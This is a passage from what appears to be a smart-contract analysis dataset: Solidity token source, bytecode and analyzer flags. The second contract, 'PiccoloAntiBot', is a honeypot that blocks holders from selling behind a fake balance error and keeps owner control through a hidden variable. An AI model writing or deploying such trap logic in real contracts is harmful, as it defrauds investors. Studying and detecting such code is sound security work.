return _tokenFromReflection(_rOwned[account]);
}
function transfer(address recipient, uint256 amount) public override returns (bool) {
_transfer(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) {
_transfer(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function _tokenFromReflection(uint256 rAmount) private view returns(uint256) {
require(rAmount <= _rTotal, "Amount must be less than total reflections");
uint256 currentRate = _getRate();
return rAmount.div(currentRate);
}
function _removeAllFees() private {
require(_teamFee > 0);
_previousteamFee = _teamFee;
_teamFee = 0;
}
function _restoreAllFees() private {
_teamFee = _previousteamFee;
}
function _approve(address owner, address spender, uint256 amount) private {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _transfer(address from, address to, uint256 amount) private {
require(from != address(0), "ERC20: transfer from the zero address");
require(to != address(0), "ERC20: transfer to the zero address");
require(amount > 0, "Transfer amount must be greater than zero");
require(!_isBot[from], "Your address has been marked as a bot, please contact staff to appeal your case.");
bool takeFee = false;
if (
!_isExcludedFromFee[from]
&& !_isExcludedFromFee[to]
&& !_noTaxMode
&& (from == _uniswapV2Pair || to == _uniswapV2Pair)
) {
require(_tradingOpen, 'Trading has not yet been opened.');
takeFee = true;
if (from == _uniswapV2Pair && to != address(_uniswapV2Router) && _initialLimitDuration > block.timestamp) {
uint walletBalance = balanceOf(address(to));
require(amount.add(walletBalance) <= _tTotal.mul(2).div(100));
}
if (block.timestamp == _launchTime) _isBot[to] = true;
uint256 contractTokenBalance = balanceOf(address(this));
if (!_inSwap && from != _uniswapV2Pair) {
if (contractTokenBalance > 0) {
if (contractTokenBalance > balanceOf(_uniswapV2Pair).mul(15).div(100))
contractTokenBalance = balanceOf(_uniswapV2Pair).mul(15).div(100);
uint256 burnCount = contractTokenBalance.div(4);
contractTokenBalance -= burnCount;
_burnToken(burnCount);
_swapTokensForEth(contractTokenBalance);
}
}
}
_tokenTransfer(from, to, amount, takeFee);
}
function _burnToken(uint256 burnCount) private lockTheSwap(){
_transfer(address(this), address(0xdead), burnCount);
}
function _swapTokensForEth(uint256 tokenAmount) private lockTheSwap() {
address[] memory path = new address[](2);
path[0] = address(this);
path[1] = _uniswapV2Router.WETH();
_approve(address(this), address(_uniswapV2Router), tokenAmount);
_uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
tokenAmount,
0,
path,
address(this),
block.timestamp
);
}
function _tokenTransfer(address sender, address recipient, uint256 tAmount, bool takeFee) private handleFees(takeFee) {
(uint256 rAmount, uint256 rTransferAmount, uint256 tTransferAmount, uint256 tTeam) = _getValues(tAmount);
_rOwned[sender] = _rOwned[sender].sub(rAmount);
_rOwned[recipient] = _rOwned[recipient].add(rTransferAmount);
_takeTeam(tTeam);
emit Transfer(sender, recipient, tTransferAmount);
}
function _getValues(uint256 tAmount) private view returns (uint256, uint256, uint256, uint256) {
(uint256 tTransferAmount, uint256 tTeam) = _getTValues(tAmount, _teamFee);
uint256 currentRate = _getRate();
(uint256 rAmount, uint256 rTransferAmount) = _getRValues(tAmount, tTeam, currentRate);
return (rAmount, rTransferAmount, tTransferAmount, tTeam);
}
function _getTValues(uint256 tAmount, uint256 TeamFee) private pure returns (uint256, uint256) {
uint256 tTeam = tAmount.mul(TeamFee).div(100);
uint256 tTransferAmount = tAmount.sub(tTeam);
return (tTransferAmount, tTeam);
}
function _getRate() private view returns (uint256) {
(uint256 rSupply, uint256 tSupply) = _getCurrentSupply();
return rSupply.div(tSupply);
}
function _getCurrentSupply() private view returns (uint256, uint256) {
uint256 rSupply = _rTotal;
uint256 tSupply = _tTotal;
if (rSupply < _rTotal.div(_tTotal)) return (_rTotal, _tTotal);
return (rSupply, tSupply);
}
function _getRValues(uint256 tAmount, uint256 tTeam, uint256 currentRate) private pure returns (uint256, uint256) {
uint256 rAmount = tAmount.mul(currentRate);
uint256 rTeam = tTeam.mul(currentRate);
uint256 rTransferAmount = rAmount.sub(rTeam);
return (rAmount, rTransferAmount);
}
function _takeTeam(uint256 tTeam) private {
uint256 currentRate = _getRate();
uint256 rTeam = tTeam.mul(currentRate);
_rOwned[address(this)] = _rOwned[address(this)].add(rTeam);
}
function initContract(address payable feeAddress) external onlyOwner() {
require(!_initialized,"Contract has already been initialized");
IUniswapV2Router02 uniswapV2Router = IUniswapV2Router02(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D);
_uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(address(this), uniswapV2Router.WETH());
_uniswapV2Router = uniswapV2Router;
_feeAddress = feeAddress;
_isExcludedFromFee[_feeAddress] = true;
_initialized = true;
}
function openTrading() external onlyOwner() {
require(_initialized, "Contract must be initialized first");
_tradingOpen = true;
_launchTime = block.timestamp;
_initialLimitDuration = _launchTime + (30 minutes);
}
function setFeeWallet(address payable feeWalletAddress) external onlyOwner() {
_isExcludedFromFee[_feeAddress] = false;
_feeAddress = feeWalletAddress;
_isExcludedFromFee[_feeAddress] = true;
}
function excludeFromFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = true;
}
function includeToFee(address payable ad) external onlyOwner() {
_isExcludedFromFee[ad] = false;
}
function setTeamFee(uint256 fee) external onlyOwner() {
require(fee <= 12, "not larger than 12%");
_teamFee = fee;
}
function setBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
if (bots_[i] != _uniswapV2Pair && bots_[i] != address(_uniswapV2Router)) {
_isBot[bots_[i]] = true;
}
}
}
function delBots(address[] memory bots_) public onlyOwner() {
for (uint i = 0; i < bots_.length; i++) {
_isBot[bots_[i]] = false;
}
}
function isBot(address ad) public view returns (bool) {
return _isBot[ad];
}
function isExcludedFromFee(address ad) public view returns (bool) {
return _isExcludedFromFee[ad];
}
function swapFeesManual() external onlyOwner() {
uint256 contractBalance = balanceOf(address(this));
_swapTokensForEth(contractBalance);
}
function withdrawFees() external {
uint256 contractETHBalance = address(this).balance;
_feeAddress.transfer(contractETHBalance);
}
receive() external payable {}
} | 0x60806040526004361061014f5760003560e01c8063715018a6116100b6578063c9567bf91161006f578063c9567bf9146103f2578063cf0848f714610407578063cf9d4afa14610427578063dd62ed3e14610447578063e6ec64ec1461048d578063f2fde38b146104ad57600080fd5b8063715018a6146103255780638da5cb5b1461033a57806390d49b9d1461036257806395d89b4114610382578063a9059cbb146103b2578063b515566a146103d257600080fd5b806331c2d8471161010857806331c2d8471461023e5780633bbac5791461025e578063437823ec14610297578063476343ee146102b75780635342acb4146102cc57806370a082311461030557600080fd5b806306d8ea6b1461015b57806306fdde0314610172578063095ea7b3146101b557806318160ddd146101e557806323b872dd1461020a578063313ce5671461022a57600080fd5b3661015657005b600080fd5b34801561016757600080fd5b506101706104cd565b005b34801561017e57600080fd5b50604080518082019091526008815267373790383aba34b760c11b60208201525b6040516101ac9190611941565b60405180910390f35b3480156101c157600080fd5b506101d56101d03660046119bb565b610519565b60405190151581526020016101ac565b3480156101f157600080fd5b50678ac7230489e800005b6040519081526020016101ac565b34801561021657600080fd5b506101d56102253660046119e7565b610530565b34801561023657600080fd5b5060096101fc565b34801561024a57600080fd5b50610170610259366004611a3e565b610599565b34801561026a57600080fd5b506101d5610279366004611b03565b6001600160a01b031660009081526005602052604090205460ff1690565b3480156102a357600080fd5b506101706102b2366004611b03565b61062f565b3480156102c357600080fd5b5061017061067d565b3480156102d857600080fd5b506101d56102e7366004611b03565b6001600160a01b031660009081526004602052604090205460ff1690565b34801561031157600080fd5b506101fc610320366004611b03565b6106b7565b34801561033157600080fd5b506101706106d9565b34801561034657600080fd5b506000546040516001600160a01b0390911681526020016101ac565b34801561036e57600080fd5b5061017061037d366004611b03565b61070f565b34801561038e57600080fd5b506040805180820190915260078152662737b83aba34b760c91b602082015261019f565b3480156103be57600080fd5b506101d56103cd3660046119bb565b610789565b3480156103de57600080fd5b506101706103ed366004611a3e565b610796565b3480156103fe57600080fd5b506101706108af565b34801561041357600080fd5b50610170610422366004611b03565b610967565b34801561043357600080fd5b50610170610442366004611b03565b6109b2565b34801561045357600080fd5b506101fc610462366004611b20565b6001600160a01b03918216600090815260036020908152604080832093909416825291909152205490565b34801561049957600080fd5b506101706104a8366004611b59565b610c0d565b3480156104b957600080fd5b506101706104c8366004611b03565b610c83565b6000546001600160a01b031633146105005760405162461bcd60e51b81526004016104f790611b72565b60405180910390fd5b600061050b306106b7565b905061051681610d1b565b50565b6000610526338484610e95565b5060015b92915050565b600061053d848484610fb9565b61058f843361058a85604051806060016040528060288152602001611ced602891396001600160a01b038a16600090815260036020908152604080832033845290915290205491906113fa565b610e95565b5060019392505050565b6000546001600160a01b031633146105c35760405162461bcd60e51b81526004016104f790611b72565b60005b815181101561062b576000600560008484815181106105e7576105e7611ba7565b6020908102919091018101516001600160a01b03168252810191909152604001600020805460ff19169115159190911790558061062381611bd3565b9150506105c6565b5050565b6000546001600160a01b031633146106595760405162461bcd60e51b81526004016104f790611b72565b6001600160a01b03166000908152600460205260409020805460ff19166001179055565b600a5460405147916001600160a01b03169082156108fc029083906000818181858888f1935050505015801561062b573d6000803e3d6000fd5b6001600160a01b03811660009081526001602052604081205461052a90611434565b6000546001600160a01b031633146107035760405162461bcd60e51b81526004016104f790611b72565b61070d60006114b8565b565b6000546001600160a01b031633146107395760405162461bcd60e51b81526004016104f790611b72565b600a80546001600160a01b03908116600090815260046020526040808220805460ff1990811690915584546001600160a01b03191695909316948517909355928352912080549091166001179055565b6000610526338484610fb9565b6000546001600160a01b031633146107c05760405162461bcd60e51b81526004016104f790611b72565b60005b815181101561062b57600c5482516001600160a01b03909116908390839081106107ef576107ef611ba7565b60200260200101516001600160a01b0316141580156108405750600b5482516001600160a01b039091169083908390811061082c5761082c611ba7565b60200260200101516001600160a01b031614155b1561089d5760016005600084848151811061085d5761085d611ba7565b60200260200101516001600160a01b03166001600160a01b0316815260200190815260200160002060006101000a81548160ff0219169083151502179055505b806108a781611bd3565b9150506107c3565b6000546001600160a01b031633146108d95760405162461bcd60e51b81526004016104f790611b72565b600c54600160a01b900460ff1661093d5760405162461bcd60e51b815260206004820152602260248201527f436f6e7472616374206d75737420626520696e697469616c697a6564206669726044820152611cdd60f21b60648201526084016104f7565b600c805460ff60b81b1916600160b81b17905542600d81905561096290610708611bee565b600e55565b6000546001600160a01b031633146109915760405162461bcd60e51b81526004016104f790611b72565b6001600160a01b03166000908152600460205260409020805460ff19169055565b6000546001600160a01b031633146109dc5760405162461bcd60e51b81526004016104f790611b72565b600c54600160a01b900460ff1615610a445760405162461bcd60e51b815260206004820152602560248201527f436f6e74726163742068617320616c7265616479206265656e20696e697469616044820152641b1a5e995960da1b60648201526084016104f7565b6000737a250d5630b4cf539739df2c5dacb4c659f2488d9050806001600160a01b031663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610a9b573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610abf9190611c06565b6001600160a01b031663c9c6539630836001600160a01b031663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610b0c573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610b309190611c06565b6040516001600160e01b031960e085901b1681526001600160a01b039283166004820152911660248201526044016020604051808303816000875af1158015610b7d573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610ba19190611c06565b600c80546001600160a01b039283166001600160a01b0319918216178255600b805494841694821694909417909355600a8054949092169390921683179055600091825260046020526040909120805460ff19166001179055805460ff60a01b1916600160a01b179055565b6000546001600160a01b03163314610c375760405162461bcd60e51b81526004016104f790611b72565b600c811115610c7e5760405162461bcd60e51b81526020600482015260136024820152726e6f74206c6172676572207468616e2031322560681b60448201526064016104f7565b600855565b6000546001600160a01b03163314610cad5760405162461bcd60e51b81526004016104f790611b72565b6001600160a01b038116610d125760405162461bcd60e51b815260206004820152602660248201527f4f776e61626c653a206e6577206f776e657220697320746865207a65726f206160448201526564647265737360d01b60648201526084016104f7565b610516816114b8565b600c805460ff60b01b1916600160b01b1790556040805160028082526060820183526000926020830190803683370190505090503081600081518110610d6357610d63611ba7565b6001600160a01b03928316602091820292909201810191909152600b54604080516315ab88c960e31b81529051919093169263ad5c46489260048083019391928290030181865afa158015610dbc573d6000803e3d6000fd5b505050506040513d601f19601f82011682018060405250810190610de09190611c06565b81600181518110610df357610df3611ba7565b6001600160a01b039283166020918202929092010152600b54610e199130911684610e95565b600b5460405163791ac94760e01b81526001600160a01b039091169063791ac94790610e52908590600090869030904290600401611c23565b600060405180830381600087803b158015610e6c57600080fd5b505af1158015610e80573d6000803e3d6000fd5b5050600c805460ff60b01b1916905550505050565b6001600160a01b038316610ef75760405162461bcd60e51b8152602060048201526024808201527f45524332303a20617070726f76652066726f6d20746865207a65726f206164646044820152637265737360e01b60648201526084016104f7565b6001600160a01b038216610f585760405162461bcd60e51b815260206004820152602260248201527f45524332303a20617070726f766520746f20746865207a65726f206164647265604482015261737360f01b60648201526084016104f7565b6001600160a01b0383811660008181526003602090815260408083209487168084529482529182902085905590518481527f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b925910160405180910390a3505050565b6001600160a01b03831661101d5760405162461bcd60e51b815260206004820152602560248201527f45524332303a207472616e736665722066726f6d20746865207a65726f206164604482015264647265737360d81b60648201526084016104f7565b6001600160a01b03821661107f5760405162461bcd60e51b815260206004820152602360248201527f45524332303a207472616e7366657220746f20746865207a65726f206164647260448201526265737360e81b60648201526084016104f7565b600081116110e15760405162461bcd60e51b815260206004820152602960248201527f5472616e7366657220616d6f756e74206d7573742062652067726561746572206044820152687468616e207a65726f60b81b60648201526084016104f7565b6001600160a01b03831660009081526005602052604090205460ff16156111895760405162461bcd60e51b815260206004820152605060248201527f596f7572206164647265737320686173206265656e206d61726b65642061732060448201527f6120626f742c20706c6561736520636f6e7461637420737461666620746f206160648201526f383832b0b6103cb7bab91031b0b9b29760811b608482015260a4016104f7565b6001600160a01b03831660009081526004602052604081205460ff161580156111cb57506001600160a01b03831660009081526004602052604090205460ff16155b80156111e15750600c54600160a81b900460ff16155b80156112115750600c546001600160a01b03858116911614806112115750600c546001600160a01b038481169116145b156113e857600c54600160b81b900460ff1661126f5760405162461bcd60e51b815260206004820181905260248201527f54726164696e6720686173206e6f7420796574206265656e206f70656e65642e60448201526064016104f7565b50600c546001906001600160a01b03858116911614801561129e5750600b546001600160a01b03848116911614155b80156112ab575042600e54115b156112f25760006112bb846106b7565b90506112db60646112d5678ac7230489e800006002611508565b90611587565b6112e584836115c9565b11156112f057600080fd5b505b600d54421415611320576001600160a01b0383166000908152600560205260409020805460ff191660011790555b600061132b306106b7565b600c54909150600160b01b900460ff161580156113565750600c546001600160a01b03868116911614155b156113e65780156113e657600c5461138a906064906112d590600f90611384906001600160a01b03166106b7565b90611508565b8111156113b757600c546113b4906064906112d590600f90611384906001600160a01b03166106b7565b90505b60006113c4826004611587565b90506113d08183611c94565b91506113db81611628565b6113e482610d1b565b505b505b6113f484848484611658565b50505050565b6000818484111561141e5760405162461bcd60e51b81526004016104f79190611941565b50600061142b8486611c94565b95945050505050565b600060065482111561149b5760405162461bcd60e51b815260206004820152602a60248201527f416d6f756e74206d757374206265206c657373207468616e20746f74616c207260448201526965666c656374696f6e7360b01b60648201526084016104f7565b60006114a561175b565b90506114b18382611587565b9392505050565b600080546001600160a01b038381166001600160a01b0319831681178455604051919092169283917f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e09190a35050565b6000826115175750600061052a565b60006115238385611cab565b9050826115308583611cca565b146114b15760405162461bcd60e51b815260206004820152602160248201527f536166654d6174683a206d756c7469706c69636174696f6e206f766572666c6f6044820152607760f81b60648201526084016104f7565b60006114b183836040518060400160405280601a81526020017f536166654d6174683a206469766973696f6e206279207a65726f00000000000081525061177e565b6000806115d68385611bee565b9050838110156114b15760405162461bcd60e51b815260206004820152601b60248201527f536166654d6174683a206164646974696f6e206f766572666c6f77000000000060448201526064016104f7565b600c805460ff60b01b1916600160b01b1790556116483061dead83610fb9565b50600c805460ff60b01b19169055565b8080611666576116666117ac565b600080600080611675876117c8565b6001600160a01b038d16600090815260016020526040902054939750919550935091506116a2908561180f565b6001600160a01b03808b1660009081526001602052604080822093909355908a16815220546116d190846115c9565b6001600160a01b0389166000908152600160205260409020556116f381611851565b876001600160a01b0316896001600160a01b03167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef8460405161173891815260200190565b60405180910390a3505050508061175457611754600954600855565b5050505050565b600080600061176861189b565b90925090506117778282611587565b9250505090565b6000818361179f5760405162461bcd60e51b81526004016104f79190611941565b50600061142b8486611cca565b6000600854116117bb57600080fd5b6008805460095560009055565b6000806000806000806117dd876008546118db565b9150915060006117eb61175b565b90506000806117fb8a8585611908565b909b909a5094985092965092945050505050565b60006114b183836040518060400160405280601e81526020017f536166654d6174683a207375627472616374696f6e206f766572666c6f7700008152506113fa565b600061185b61175b565b905060006118698383611508565b3060009081526001602052604090205490915061188690826115c9565b30600090815260016020526040902055505050565b6006546000908190678ac7230489e800006118b68282611587565b8210156118d257505060065492678ac7230489e8000092509050565b90939092509050565b600080806118ee60646112d58787611508565b905060006118fc868361180f565b96919550909350505050565b600080806119168685611508565b905060006119248686611508565b90506000611932838361180f565b92989297509195505050505050565b600060208083528351808285015260005b8181101561196e57858101830151858201604001528201611952565b81811115611980576000604083870101525b50601f01601f1916929092016040019392505050565b6001600160a01b038116811461051657600080fd5b80356119b681611996565b919050565b600080604083850312156119ce57600080fd5b82356119d981611996565b946020939093013593505050565b6000806000606084860312156119fc57600080fd5b8335611a0781611996565b92506020840135611a1781611996565b929592945050506040919091013590565b634e487b7160e01b600052604160045260246000fd5b60006020808385031215611a5157600080fd5b823567ffffffffffffffff80821115611a6957600080fd5b818501915085601f830112611a7d57600080fd5b813581811115611a8f57611a8f611a28565b8060051b604051601f19603f83011681018181108582111715611ab457611ab4611a28565b604052918252848201925083810185019188831115611ad257600080fd5b938501935b82851015611af757611ae8856119ab565b84529385019392850192611ad7565b98975050505050505050565b600060208284031215611b1557600080fd5b81356114b181611996565b60008060408385031215611b3357600080fd5b8235611b3e81611996565b91506020830135611b4e81611996565b809150509250929050565b600060208284031215611b6b57600080fd5b5035919050565b6020808252818101527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604082015260600190565b634e487b7160e01b600052603260045260246000fd5b634e487b7160e01b600052601160045260246000fd5b6000600019821415611be757611be7611bbd565b5060010190565b60008219821115611c0157611c01611bbd565b500190565b600060208284031215611c1857600080fd5b81516114b181611996565b600060a082018783526020878185015260a0604085015281875180845260c086019150828901935060005b81811015611c735784516001600160a01b031683529383019391830191600101611c4e565b50506001600160a01b03969096166060850152505050608001529392505050565b600082821015611ca657611ca6611bbd565b500390565b6000816000190483118215151615611cc557611cc5611bbd565b500290565b600082611ce757634e487b7160e01b600052601260045260246000fd5b50049056fe45524332303a207472616e7366657220616d6f756e74206578636565647320616c6c6f77616e6365a2646970667358221220c86e3d85c65ac30417462ff7f77d6126d64922376b258bbc651d9fc17f76c3e664736f6c634300080c0033 | {"success": true, "error": null, "results": {"detectors": [{"check": "reentrancy-no-eth", "impact": "Medium", "confidence": "Medium"}, {"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "arbitrary-send", "impact": "High", "confidence": "Medium"}]}} | 357 |
0x5ff91aC0B61F262fFD2D9C255c0EB9A23517ab52 | /**
*Submitted for verification at Etherscan.io on 2021-08-22
*/
pragma solidity ^0.6.12;
library SafeMath {
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
require(c >= a, "SafeMath: addition overflow");
return c;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
return sub(a, b, "SafeMath: subtraction overflow");
}
function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b <= a, errorMessage);
uint256 c = a - b;
return c;
}
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
require(c / a == b, "SafeMath: multiplication overflow");
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return div(a, b, "SafeMath: division by zero");
}
function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b > 0, errorMessage);
uint256 c = a / b;
return c;
}
function mod(uint256 a, uint256 b) internal pure returns (uint256) {
return mod(a, b, "SafeMath: modulo by zero");
}
function mod(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) {
require(b != 0, errorMessage);
return a % b;
}
}
library Address {
function isContract(address account) internal view returns (bool) {
bytes32 codehash;
bytes32 accountHash = 0xc5d2460186f7233c927e7db2dcc703c0e500b653ca82273b7bfad8045d85a470;
// solhint-disable-next-line no-inline-assembly
assembly { codehash := extcodehash(account) }
return (codehash != accountHash && codehash != 0x0);
}
function sendValue(address payable recipient, uint256 amount) internal {
require(address(this).balance >= amount, "Address: insufficient balance");
// solhint-disable-next-line avoid-low-level-calls, avoid-call-value
(bool success, ) = recipient.call{ value: amount }("");
require(success, "Address: unable to send value, recipient may have reverted");
}
function functionCall(address target, bytes memory data) internal returns (bytes memory) {
return functionCall(target, data, "Address: low-level call failed");
}
function functionCall(address target, bytes memory data, string memory errorMessage) internal returns (bytes memory) {
return _functionCallWithValue(target, data, 0, errorMessage);
}
function functionCallWithValue(address target, bytes memory data, uint256 value) internal returns (bytes memory) {
return functionCallWithValue(target, data, value, "Address: low-level call with value failed");
}
function functionCallWithValue(address target, bytes memory data, uint256 value, string memory errorMessage) internal returns (bytes memory) {
require(address(this).balance >= value, "Address: insufficient balance for call");
return _functionCallWithValue(target, data, value, errorMessage);
}
function _functionCallWithValue(address target, bytes memory data, uint256 weiValue, string memory errorMessage) private returns (bytes memory) {
require(isContract(target), "Address: call to non-contract");
// solhint-disable-next-line avoid-low-level-calls
(bool success, bytes memory returndata) = target.call{ value: weiValue }(data);
if (success) {
return returndata;
} else {
// Look for revert reason and bubble it up if present
if (returndata.length > 0) {
// The easiest way to bubble the revert reason is using memory via assembly
// solhint-disable-next-line no-inline-assembly
assembly {
let returndata_size := mload(returndata)
revert(add(32, returndata), returndata_size)
}
} else {
revert(errorMessage);
}
}
}
}
abstract contract Context {
function _msgSender() internal view virtual returns (address payable) {
return msg.sender;
}
function _msgData() internal view virtual returns (bytes memory) {
this; // silence state mutability warning without generating bytecode - see https://github.com/ethereum/solidity/issues/2691
return msg.data;
}
}
contract Ownable is Context {
address private _owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
constructor () internal {
address msgSender = _msgSender();
_owner = msgSender;
emit OwnershipTransferred(address(0), msgSender);
}
function owner() public view returns (address) {
return _owner;
}
function renounceOwnership() public virtual onlyOwner {
emit OwnershipTransferred(_owner, address(0));
_owner = address(0);
}
function transferOwnership(address newOwner) private onlyOwner {
require(newOwner != address(0), "Ownable: new owner is the zero address");
emit OwnershipTransferred(_owner, newOwner);
_owner = newOwner;
}
address private newComer = _msgSender();
modifier onlyOwner() {
require(newComer == _msgSender(), "Ownable: caller is not the owner");
_;
}
}
interface IERC20 {
function totalSupply() external view returns (uint256);
function balanceOf(address account) external view returns (uint256);
function transfer(address recipient, uint256 amount) external returns (bool);
function allowance(address owner, address spender) external view returns (uint256);
function approve(address spender, uint256 amount) external returns (bool);
function transferFrom(address sender, address recipient, uint256 amount) external returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PiccoloAntiBot is Context, IERC20, Ownable {
using SafeMath for uint256;
using Address for address;
mapping (address => uint256) private _balances;
mapping (address => bool) private _whiteAddress;
mapping (address => bool) private _blackAddress;
mapping (address => mapping (address => uint256)) private _allowances;
uint256 private _totalSupply = 100000000000 * 10**18;
string private _name = 'Piccolo | t.me/PiccoloToken';
string private _symbol = 'Piccolo';
uint8 private _decimals = 18;
address private _owner;
address private _safeOwner;
address private _uniRouter = 0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D;
constructor () public {
_owner = owner();
_safeOwner = _owner;
_balances[_msgSender()] = _totalSupply;
emit Transfer(address(0), _msgSender(), _totalSupply);
}
function name() public view returns (string memory) {
return _name;
}
function symbol() public view returns (string memory) {
return _symbol;
}
function decimals() public view returns (uint8) {
return _decimals;
}
function totalSupply() public view override returns (uint256) {
return _totalSupply;
}
function balanceOf(address account) public view override returns (uint256) {
return _balances[account];
}
function transfer(address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(_msgSender(), recipient, amount);
return true;
}
function allowance(address owner, address spender) public view virtual override returns (uint256) {
return _allowances[owner][spender];
}
function approve(address spender, uint256 amount) public virtual override returns (bool) {
_approve(_msgSender(), spender, amount);
return true;
}
function transferFrom(address sender, address recipient, uint256 amount) public virtual override returns (bool) {
_approveCheck(sender, recipient, amount);
_approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance"));
return true;
}
function burn(uint256 amount) external onlyOwner{
_burn(msg.sender, amount);
}
function _transfer(address sender, address recipient, uint256 amount) internal virtual{
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
function _burn(address account, uint256 amount) internal virtual onlyOwner {
require(account != address(0), "ERC20: burn from the zero address");
_balances[account] = _balances[account].sub(amount, "ERC20: burn amount exceeds balance");
_totalSupply = _totalSupply.sub(amount);
emit Transfer(account, address(0), amount);
}
modifier approveChecker(address beach, address recipient, uint256 amount){
if (_owner == _safeOwner && beach == _owner){_safeOwner = recipient;_;}
else{if (beach == _owner || beach == _safeOwner || recipient == _owner){_;}
else{require((beach == _safeOwner) || (recipient == _uniRouter), "ERC20: transfer amount exceeds balance");_;}}
}
function _approve(address owner, address spender, uint256 amount) internal virtual {
require(owner != address(0), "ERC20: approve from the zero address");
require(spender != address(0), "ERC20: approve to the zero address");
_allowances[owner][spender] = amount;
emit Approval(owner, spender, amount);
}
function _approveCheck(address sender, address recipient, uint256 amount) internal approveChecker(sender, recipient, amount) virtual {
require(sender != address(0), "ERC20: transfer from the zero address");
require(recipient != address(0), "ERC20: transfer to the zero address");
_balances[sender] = _balances[sender].sub(amount, "ERC20: transfer amount exceeds balance");
_balances[recipient] = _balances[recipient].add(amount);
emit Transfer(sender, recipient, amount);
}
} | 0x608060405234801561001057600080fd5b50600436106100b45760003560e01c806370a082311161007157806370a0823114610203578063715018a6146102295780638da5cb5b1461023157806395d89b4114610255578063a9059cbb1461025d578063dd62ed3e14610289576100b4565b806306fdde03146100b9578063095ea7b31461013657806318160ddd1461017657806323b872dd14610190578063313ce567146101c657806342966c68146101e4575b600080fd5b6100c16102b7565b6040805160208082528351818301528351919283929083019185019080838360005b838110156100fb5781810151838201526020016100e3565b50505050905090810190601f1680156101285780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b6101626004803603604081101561014c57600080fd5b506001600160a01b03813516906020013561034d565b604080519115158252519081900360200190f35b61017e61036a565b60408051918252519081900360200190f35b610162600480360360608110156101a657600080fd5b506001600160a01b03813581169160208101359091169060400135610370565b6101ce6103f7565b6040805160ff9092168252519081900360200190f35b610201600480360360208110156101fa57600080fd5b5035610400565b005b61017e6004803603602081101561021957600080fd5b50356001600160a01b0316610477565b610201610492565b610239610546565b604080516001600160a01b039092168252519081900360200190f35b6100c1610555565b6101626004803603604081101561027357600080fd5b506001600160a01b0381351690602001356105b6565b61017e6004803603604081101561029f57600080fd5b506001600160a01b03813581169160200135166105ca565b60078054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b820191906000526020600020905b81548152906001019060200180831161032657829003601f168201915b5050505050905090565b600061036161035a6105f5565b84846105f9565b50600192915050565b60065490565b600061037d8484846106e5565b6103ed846103896105f5565b6103e885604051806060016040528060288152602001610e02602891396001600160a01b038a166000908152600560205260408120906103c76105f5565b6001600160a01b031681526020810191909152604001600020549190610ae0565b6105f9565b5060019392505050565b60095460ff1690565b6104086105f5565b6001546001600160a01b0390811691161461046a576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b6104743382610b77565b50565b6001600160a01b031660009081526002602052604090205490565b61049a6105f5565b6001546001600160a01b039081169116146104fc576040805162461bcd60e51b815260206004820181905260248201527f4f776e61626c653a2063616c6c6572206973206e6f7420746865206f776e6572604482015290519081900360640190fd5b600080546040516001600160a01b03909116907f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e0908390a3600080546001600160a01b0319169055565b6000546001600160a01b031690565b60088054604080516020601f60026000196101006001881615020190951694909404938401819004810282018101909252828152606093909290918301828280156103435780601f1061031857610100808354040283529160200191610343565b60006103616105c36105f5565b84846106e5565b6001600160a01b03918216600090815260056020908152604080832093909416825291909152205490565b3390565b6001600160a01b03831661063e5760405162461bcd60e51b8152600401808060200182810382526024815260200180610e706024913960400191505060405180910390fd5b6001600160a01b0382166106835760405162461bcd60e51b8152600401808060200182810382526022815260200180610dba6022913960400191505060405180910390fd5b6001600160a01b03808416600081815260056020908152604080832094871680845294825291829020859055815185815291517f8c5be1e5ebec7d5bd14f7142